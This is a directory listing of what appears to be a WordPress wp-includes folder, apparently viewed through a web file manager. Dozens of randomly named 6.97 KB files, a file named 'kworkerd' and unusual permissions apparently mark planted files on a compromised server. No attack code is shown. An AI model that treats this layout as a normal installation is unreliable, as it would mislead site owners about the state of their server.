b085 | File | 6.97 KB | 0644 |
|
b0d203 | File | 6.97 KB | 0644 |
|
b197e2 | File | 6.97 KB | 0644 |
|
b20 | File | 6.97 KB | 0644 |
|
b2f | File | 6.97 KB | 0644 |
|
b377b7 | File | 6.97 KB | 0644 |
|
b4b814 | File | 6.97 KB | 0644 |
|
b4fd | File | 6.97 KB | 0644 |
|
b569 | File | 6.97 KB | 0644 |
|
b72 | File | 6.97 KB | 0644 |
|
b73ec4 | File | 6.97 KB | 0644 |
|
b74 | File | 6.97 KB | 0644 |
|
bbd | File | 6.97 KB | 0644 |
|
bc0 | File | 6.98 KB | 0644 |
|
bda557 | File | 6.97 KB | 0644 |
|
be77 | File | 6.97 KB | 0644 |
|
bf2 | File | 6.97 KB | 0644 |
|
bf68ee | File | 6.97 KB | 0644 |
|
block-bindings.php | File | 5.46 KB | 0644 |
|
block-editor.php | File | 43.51 KB | 0555 |
|
block-i18n.json | File | 316 B | 0644 |
|
block-patterns.php | File | 28.86 KB | 0555 |
|
block-template-utils.php | File | 71.24 KB | 0555 |
|
block-template.php | File | 28.09 KB | 0555 |
|
blocks.php | File | 95.19 KB | 0644 |
|
bookmark-template.php | File | 28.63 KB | 0555 |
|
bookmark.php | File | 31.07 KB | 0555 |
|
c12 | File | 6.97 KB | 0644 |
|
c257b2 | File | 6.97 KB | 0644 |
|
c258a | File | 6.97 KB | 0644 |
|
c2f8 | File | 6.97 KB | 0644 |
|
c52576 | File | 6.97 KB | 0644 |
|
c59a3 | File | 6.97 KB | 0644 |
|
c8e | File | 6.97 KB | 0644 |
|
c9ecd | File | 6.97 KB | 0644 |
|
ca51d4 | File | 6.97 KB | 0644 |
|
cabc9 | File | 6.97 KB | 0644 |
|
cache-compat.php | File | 21.83 KB | 0555 |
|
cache.php | File | 29.16 KB | 0555 |
|
cad231 | File | 6.97 KB | 0644 |
|
canonical.php | File | 49.71 KB | 0555 |
|
capabilities.php | File | 55.08 KB | 0555 |
|
category-template.php | File | 71.67 KB | 0555 |
|
category.php | File | 28.42 KB | 0555 |
|
cbc427 | File | 6.97 KB | 0644 |
|
cbf3ed | File | 6.97 KB | 0644 |
|
cc5e2 | File | 6.97 KB | 0644 |
|
ccf | File | 6.97 KB | 0644 |
|
cd04bd | File | 6.97 KB | 0644 |
|
ce2f | File | 6.97 KB | 0644 |
|
cea0 | File | 6.97 KB | 0644 |
|
class-IXR.php | File | 18.49 KB | 0555 |
|
class-avif-info.php | File | 28.92 KB | 0644 |
|
class-feed.php | File | 16.52 KB | 0555 |
|
class-http.php | File | 16.36 KB | 0555 |
|
class-json.php | File | 58.66 KB | 0555 |
|
class-oembed.php | File | 16.4 KB | 0555 |
|
class-phpass.php | File | 22.55 KB | 0555 |
|
class-phpmailer.php | File | 16.65 KB | 0555 |
|
class-pop3.php | File | 36.48 KB | 0555 |
|
class-requests.php | File | 18.19 KB | 0555 |
|
class-simplepie.php | File | 95.76 KB | 0644 |
|
class-smtp.php | File | 16.45 KB | 0555 |
|
class-snoopy.php | File | 52.83 KB | 0555 |
|
class-walker-category-dropdown.php | File | 18.42 KB | 0555 |
|
class-walker-category.php | File | 24.28 KB | 0555 |
|
class-walker-comment.php | File | 29.89 KB | 0555 |
|
class-walker-nav-menu.php | File | 27.05 KB | 0555 |
|
class-walker-page-dropdown.php | File | 18.65 KB | 0555 |
|
class-walker-page.php | File | 23.44 KB | 0555 |
|
class-wp-admin-bar.php | File | 33.46 KB | 0555 |
|
class-wp-ajax-response.php | File | 21.15 KB | 0555 |
|
class-wp-application-passwords.php | File | 28.56 KB | 0555 |
|
class-wp-block-bindings-registry.php | File | 8.73 KB | 0644 |
|
class-wp-block-bindings-source.php | File | 18.13 KB | 0555 |
|
class-wp-block-editor-context.php | File | 17.32 KB | 0555 |
|
class-wp-block-list.php | File | 20.65 KB | 0555 |
|
class-wp-block-parser-block.php | File | 18.5 KB | 0555 |
|
class-wp-block-parser-frame.php | File | 17.88 KB | 0555 |
|
class-wp-block-parser.php | File | 11.26 KB | 0644 |
|
class-wp-block-pattern-categories-registry.php | File | 21.25 KB | 0555 |
|
class-wp-block-patterns-registry.php | File | 11.46 KB | 0644 |
|
class-wp-block-styles-registry.php | File | 6.12 KB | 0644 |
|
class-wp-block-supports.php | File | 21.44 KB | 0555 |
|
class-wp-block-template.php | File | 17.91 KB | 0555 |
|
class-wp-block-type-registry.php | File | 4.9 KB | 0644 |
|
class-wp-block-type.php | File | 32.86 KB | 0555 |
|
class-wp-block.php | File | 35.23 KB | 0555 |
|
class-wp-classic-to-block-menu-converter.php | File | 20 KB | 0555 |
|
class-wp-comment-query.php | File | 63.26 KB | 0555 |
|
class-wp-comment.php | File | 25.16 KB | 0555 |
|
class-wp-customize-control.php | File | 41.13 KB | 0555 |
|
class-wp-customize-manager.php | File | 213.67 KB | 0555 |
|
class-wp-customize-nav-menus.php | File | 72.04 KB | 0555 |
|
class-wp-customize-panel.php | File | 26.42 KB | 0555 |
|
class-wp-customize-section.php | File | 26.98 KB | 0555 |
|
class-wp-customize-setting.php | File | 45.19 KB | 0555 |
|
class-wp-customize-widgets.php | File | 85.85 KB | 0555 |
|
class-wp-date-query.php | File | 50.89 KB | 0555 |
|
class-wp-dependencies.php | File | 29.74 KB | 0555 |
|
class-wp-dependency.php | File | 18.57 KB | 0555 |
|
class-wp-duotone.php | File | 55.83 KB | 0555 |
|
class-wp-editor.php | File | 86.49 KB | 0555 |
|
class-wp-embed.php | File | 31.62 KB | 0555 |
|
class-wp-error.php | File | 23.33 KB | 0555 |
|
class-wp-fatal-error-handler.php | File | 23.77 KB | 0555 |
|
class-wp-feed-cache-transient.php | File | 18.53 KB | 0555 |
|
class-wp-feed-cache.php | File | 16.95 KB | 0555 |
|
class-wp-hook.php | File | 31.63 KB | 0555 |
|
class-wp-http-cookie.php | File | 23.22 KB | 0555 |
|
class-wp-http-curl.php | File | 28.25 KB | 0555 |
|
class-wp-http-encoding.php | File | 22.54 KB | 0555 |
|
class-wp-http-ixr-client.php | File | 19.42 KB | 0555 |
|
class-wp-http-proxy.php | File | 21.84 KB | 0555 |
|
class-wp-http-requests-hooks.php | File | 17.98 KB | 0555 |
|
class-wp-http-requests-response.php | File | 20.3 KB | 0555 |
|
class-wp-http-response.php | File | 18.91 KB | 0555 |
|
class-wp-http-streams.php | File | 32.47 KB | 0555 |
|
class-wp-http.php | File | 55.81 KB | 0555 |
|
class-wp-image-editor-gd.php | File | 34.5 KB | 0555 |
|
class-wp-image-editor-imagick.php | File | 47.36 KB | 0555 |
|
class-wp-image-editor.php | File | 33.2 KB | 0555 |
|
class-wp-list-util.php | File | 23.27 KB | 0555 |
|
class-wp-locale-switcher.php | File | 22.48 KB | 0555 |
|
class-wp-locale.php | File | 31.74 KB | 0555 |
|
class-wp-matchesmapregex.php | File | 17.79 KB | 0555 |
|
class-wp-meta-query.php | File | 45.82 KB | 0555 |
|
class-wp-metadata-lazyloader.php | File | 22.68 KB | 0555 |
|
class-wp-navigation-fallback.php | File | 25 KB | 0555 |
|
class-wp-network-query.php | File | 35.4 KB | 0555 |
|
class-wp-network.php | File | 28 KB | 0555 |
|
class-wp-object-cache.php | File | 33.19 KB | 0555 |
|
class-wp-oembed-controller.php | File | 22.75 KB | 0555 |
|
class-wp-oembed.php | File | 46.74 KB | 0555 |
|
class-wp-paused-extensions-storage.php | File | 20.97 KB | 0555 |
|
class-wp-plugin-dependencies.php | File | 40.73 KB | 0555 |
|
class-wp-post-type.php | File | 29.64 KB | 0644 |
|
class-wp-post.php | File | 22.34 KB | 0555 |
|
class-wp-query.php | File | 166.47 KB | 0555 |
|
class-wp-recovery-mode-cookie-service.php | File | 22.72 KB | 0555 |
|
class-wp-recovery-mode-email-service.php | File | 26.92 KB | 0555 |
|
class-wp-recovery-mode-key-service.php | File | 20.5 KB | 0555 |
|
class-wp-recovery-mode-link-service.php | File | 19.39 KB | 0555 |
|
class-wp-recovery-mode.php | File | 27.17 KB | 0555 |
|
class-wp-rewrite.php | File | 77.95 KB | 0555 |
|
class-wp-role.php | File | 18.47 KB | 0555 |
|
class-wp-roles.php | File | 24.38 KB | 0555 |
|
class-wp-script-modules.php | File | 29.44 KB | 0555 |
|
class-wp-scripts.php | File | 43.26 KB | 0555 |
|
class-wp-session-tokens.php | File | 23.28 KB | 0555 |
|
class-wp-simplepie-file.php | File | 19.3 KB | 0555 |
|
class-wp-simplepie-sanitize-kses.php | File | 17.73 KB | 0555 |
|
class-wp-site-query.php | File | 46.81 KB | 0555 |
|
class-wp-site.php | File | 23.28 KB | 0555 |
|
class-wp-styles.php | File | 26.65 KB | 0555 |
|
class-wp-tax-query.php | File | 35.1 KB | 0555 |
|
class-wp-taxonomy.php | File | 18.13 KB | 0644 |
|
class-wp-term-query.php | File | 56.21 KB | 0555 |
|
class-wp-term.php | File | 21.18 KB | 0555 |
|
class-wp-text-diff-renderer-inline.php | File | 16.96 KB | 0555 |
|
class-wp-text-diff-renderer-table.php | File | 34.37 KB | 0555 |
|
class-wp-textdomain-registry.php | File | 25.97 KB | 0555 |
|
class-wp-theme-json-data.php | File | 17.77 KB | 0555 |
|
class-wp-theme-json-resolver.php | File | 49.9 KB | 0555 |
|
class-wp-theme-json-schema.php | File | 23.2 KB | 0555 |
|
class-wp-theme-json.php | File | 169.64 KB | 0555 |
|
class-wp-theme.php | File | 79.77 KB | 0555 |
|
class-wp-token-map.php | File | 43.77 KB | 0555 |
|
class-wp-user-meta-session-tokens.php | File | 18.92 KB | 0555 |
|
class-wp-user-query.php | File | 58.63 KB | 0555 |
|
class-wp-user-request.php | File | 18.17 KB | 0555 |
|
class-wp-user.php | File | 38.3 KB | 0555 |
|
class-wp-walker.php | File | 29.01 KB | 0555 |
|
class-wp-widget-factory.php | File | 19.27 KB | 0555 |
|
class-wp-widget.php | File | 33.96 KB | 0555 |
|
class-wp-xmlrpc-server.php | File | 225.91 KB | 0555 |
|
class-wp.php | File | 41.51 KB | 0555 |
|
class-wpdb.php | File | 131.61 KB | 0555 |
|
class.wp-dependencies.php | File | 16.37 KB | 0555 |
|
class.wp-scripts.php | File | 16.34 KB | 0555 |
|
class.wp-styles.php | File | 16.33 KB | 0555 |
|
click.php | File | 1.96 KB | 0444 |
|
comment-template.php | File | 115.36 KB | 0555 |
|
comment.php | File | 142.2 KB | 0555 |
|
compat.php | File | 32.08 KB | 0555 |
|
cron.php | File | 56.61 KB | 0555 |
|
d1412 | File | 6.97 KB | 0644 |
|
d244 | File | 6.97 KB | 0644 |
|
d2d | File | 6.97 KB | 0644 |
|
d66011 | File | 6.97 KB | 0644 |
|
d6fe7 | File | 6.97 KB | 0644 |
|
d700 | File | 6.97 KB | 0644 |
|
d781 | File | 6.97 KB | 0644 |
|
d81b01 | File | 6.97 KB | 0644 |
|
d84a | File | 6.97 KB | 0644 |
|
d8a6 | File | 6.97 KB | 0644 |
|
d8d171 | File | 6.97 KB | 0644 |
|
d9110f | File | 6.97 KB | 0644 |
|
dae2ff | File | 6.97 KB | 0644 |
|
daf | File | 6.97 KB | 0644 |
|
date.php | File | 16.39 KB | 0555 |
|
dbf6 | File | 6.97 KB | 0644 |
|
dc1 | File | 6.97 KB | 0644 |
|
dd1f2 | File | 6.97 KB | 0644 |
|
de7242 | File | 6.97 KB | 0644 |
|
default-constants.php | File | 26.98 KB | 0555 |
|
default-filters.php | File | 50.66 KB | 0555 |
|
default-widgets.php | File | 18.17 KB | 0555 |
|
deprecated.php | File | 197.93 KB | 0555 |
|
df1f61 | File | 6.97 KB | 0644 |
|
df6918 | File | 6.97 KB | 0644 |
|
e1af3 | File | 6.97 KB | 0644 |
|
e23d | File | 6.97 KB | 0644 |
|
e306c6 | File | 6.97 KB | 0644 |
|
e44 | File | 6.97 KB | 0644 |
|
e44ee9 | File | 6.97 KB | 0644 |
|
e5e7 | File | 6.97 KB | 0644 |
|
e6b2d5 | File | 6.97 KB | 0644 |
|
e80 | File | 6.97 KB | 0644 |
|
e905 | File | 6.97 KB | 0644 |
|
e90df | File | 6.97 KB | 0644 |
|
e99a | File | 6.97 KB | 0644 |
|
ea2e | File | 6.97 KB | 0644 |
|
ebe311 | File | 6.97 KB | 0644 |
|
ec3f | File | 6.97 KB | 0644 |
|
eebdaf | File | 6.97 KB | 0644 |
|
ef26 | File | 6.97 KB | 0644 |
|
efac | File | 6.97 KB | 0644 |
|
efe4f | File | 6.97 KB | 0644 |
|
embed-template.php | File | 16.33 KB | 0555 |
|
embed.php | File | 53.02 KB | 0555 |
|
error-protection.php | File | 20.03 KB | 0555 |
|
error_log | File | 75.68 MB | 0644 |
|
f0070 | File | 6.97 KB | 0644 |
|
f0f2 | File | 6.97 KB | 0644 |
|
f11b | File | 6.97 KB | 0644 |
|
f22c | File | 6.97 KB | 0644 |
|
f30 | File | 6.97 KB | 0644 |
|
f41d | File | 6.97 KB | 0644 |
|
f48095 | File | 6.97 KB | 0644 |
|
f4e | File | 6.97 KB | 0644 |
|
f55 | File | 6.97 KB | 0644 |
|
f556af | File | 6.97 KB | 0644 |
|
f64cce | File | 6.97 KB | 0644 |
|
f68698 | File | 6.97 KB | 0644 |
|
f86aae | File | 6.97 KB | 0644 |
|
f88b9d | File | 6.97 KB | 0644 |
|
fa8a4 | File | 6.97 KB | 0644 |
|
fbb | File | 6.97 KB | 0644 |
|
fdea2b | File | 6.97 KB | 0644 |
|
feafed | File | 6.97 KB | 0644 |
|
feed-atom-comments.php | File | 21.38 KB | 0555 |
|
feed-atom.php | File | 18.98 KB | 0555 |
|
feed-rdf.php | File | 18.61 KB | 0555 |
|
feed-rss.php | File | 17.17 KB | 0555 |
|
feed-rss2-comments.php | File | 20.04 KB | 0555 |
|
feed-rss2.php | File | 19.71 KB | 0555 |
|
feed.php | File | 38.77 KB | 0555 |
|
fonts.php | File | 25.22 KB | 0555 |
|
formatting.php | File | 343.52 KB | 0555 |
|
function.php | File | 6.11 KB | 0644 |
|
functions.php | File | 290.07 KB | 0555 |
|
functions.wp-scripts.php | File | 30.22 KB | 0555 |
|
functions.wp-styles.php | File | 24.39 KB | 0555 |
|
general-template.php | File | 181.16 KB | 0555 |
|
global-styles-and-settings.php | File | 36.93 KB | 0555 |
|
http.php | File | 40.95 KB | 0555 |
|
https-detection.php | File | 21.53 KB | 0555 |
|
https-migration.php | File | 20.63 KB | 0555 |
|
kses.php | File | 72.65 KB | 0644 |
|
kworkerd | File | 6.11 KB | 0644 |
|
l10n.php | File | 81.1 KB | 0555 |
|
license.txt | File | 0 B | 0644 |
|
link-template.php | File | 168.48 KB | 0555 |
|
load.php | File | 70.06 KB | 0555 |
|
locale.php | File | 16.16 KB | 0555 |
|
media-template.php | File | 76.76 KB | 0555 |
|
media.php | File | 221.61 KB | 0555 |
|
meta.php | File | 78.58 KB | 0555 |
|
ms-blogs.php | File | 41.13 KB | 0555 |
|
ms-default-constants.php | File | 20.81 KB | 0555 |
|
ms-default-filters.php | File | 22.48 KB | 0555 |
|
ms-deprecated.php | File | 37.25 KB | 0555 |
|
ms-files.php | File | 18.65 KB | 0555 |
|
ms-functions.php | File | 105.11 KB | 0555 |
|
ms-load.php | File | 35.42 KB | 0555 |
|
ms-network.php | File | 19.7 KB | 0555 |
|
ms-settings.php | File | 20.03 KB | 0555 |
|
ms-site.php | File | 55.4 KB | 0555 |
|
nav-menu-template.php | File | 41.31 KB | 0555 |
|
nav-menu.php | File | 59.11 KB | 0555 |
|
networks.php | File | 2.03 KB | 0444 |
|
option.php | File | 114.09 KB | 0555 |
|
paypal.gif | File | 0 B | 0644 |
|
pluggable-deprecated.php | File | 22.12 KB | 0555 |
|
pluggable.php | File | 126.53 KB | 0555 |
|
plugin.php | File | 50.64 KB | 0555 |
|
post-formats.php | File | 22.94 KB | 0555 |
|
post-template.php | File | 81.25 KB | 0555 |
|
post-thumbnail-template.php | File | 26.07 KB | 0555 |
|
post.php | File | 277.61 KB | 0644 |
|
query.php | File | 52.17 KB | 0555 |
|
registration-functions.php | File | 16.2 KB | 0555 |
|
registration.php | File | 16.2 KB | 0555 |
|
rest-api.php | File | 96.16 KB | 0644 |
|
revision.php | File | 46.19 KB | 0555 |
|
rewrite.php | File | 35.06 KB | 0555 |
|
robots-template.php | File | 21.07 KB | 0555 |
|
rss-functions.php | File | 16.25 KB | 0555 |
|
rss.php | File | 22.57 KB | 0644 |
|
script-loader.php | File | 143.25 KB | 0555 |
|
script-modules.php | File | 21.84 KB | 0555 |
|
session.php | File | 16.26 KB | 0555 |
|
shortcodes.php | File | 39.49 KB | 0555 |
|
sitemaps.php | File | 19.17 KB | 0555 |
|
spl-autoload-compat.php | File | 16.43 KB | 0555 |
|
style-engine.php | File | 23.39 KB | 0555 |
|
taxonomy.php | File | 171.21 KB | 0644 |
|
template-canvas.php | File | 16.54 KB | 0555 |
|
template-loader.php | File | 18.95 KB | 0555 |
|
template.php | File | 39.59 KB | 0555 |
|
theme-i18n.json | File | 1.22 KB | 0644 |
|
theme-previews.php | File | 18.77 KB | 0555 |
|
theme-templates.php | File | 22.08 KB | 0555 |
|
theme.json | File | 8.5 KB | 0644 |
|
theme.php | File | 146.84 KB | 0555 |
|
update.php | File | 52.02 KB | 0555 |
|
user.php | File | 185.67 KB | 0555 |
|
vars.php | File | 22.34 KB | 0555 |
|
version.php | File | 16.94 KB | 0555 |
|
widgets.php | File | 85.03 KB | 0555 |
|
wp-db.php | File | 16.44 KB | 0555 |
|
wp-diff.php | File | 16.64 KB | 0555 |
|